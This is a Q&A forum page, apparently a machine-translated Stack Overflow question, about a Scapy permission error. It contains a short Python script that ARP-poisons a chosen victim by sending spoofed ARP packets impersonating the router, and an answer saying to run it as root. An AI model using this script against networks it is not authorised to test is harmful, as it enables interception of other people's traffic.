在performin中的Scapy错误中间人攻击

问题描述 投票:1回答:1

我正在使用ARP中毒开发一个中间人攻击。但是当我尝试运行代码时,它会给我以下错误。

Traceback (most recent call last):
  `enter code here`File "mmattack.py", line 21, in <module>
    send(arp)
  File "/home/sup/.local/lib/python2.7/site-packages/scapy/sendrecv.py", line 326, in sendp
  socket = conf.L2socket(iface=iface, *args, **kargs)
  File "/home/sup/.local/lib/python2.7/site-packages/scapy/arch/linux.py", line 445, in __init__
    self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))  # noqa: E501
  File "/usr/lib/python2.7/socket.py", line 191, in __init__
    _sock = _realsocket(family, type, proto)
socket.error: [Errno 1] Operation not permitted
Exception AttributeError: "'L2Socket' object has no attribute 'ins'" in <bound method L2Socket.__del__ of <scapy.arch.linux.L2Socket object at 0x7fe1fc606990>> ignored

我有python ver 2.7和scapy 2.4.2运行

#!/usr/bin/env python

from scapy.all import *
from subprocess import call
import time

op=1 # Op code 1 for ARP requests
victim=raw_input('Enter the target IP to hack: ') #person IP to attack
victim=victim.replace(" ","")

spoof=raw_input('Enter the routers IP *SHOULD BE ON SAME ROUTER*: ')   #routers IP.. Should be the same one.
spoof=spoof.replace(" ","")

mac=raw_input('Enter the target MAC to hack: ') #mac of the victim
mac=mac.replace("-",":")
mac=mac.replace(" ","")

arp=ARP(op=op,psrc=spoof,pdst=victim,hwdst=mac)

while 1:
   send(arp)
  #time.sleep(2)
python-3.x python-2.7 scapy arp man-in-the-middle
1个回答
1
投票

socket.error:[Errno 1]不允许操作

您需要以root(sudo)身份启动Python程序/ Scapy以发送原始ARP数据包

© www.soinside.com 2019 - 2024. All rights reserved.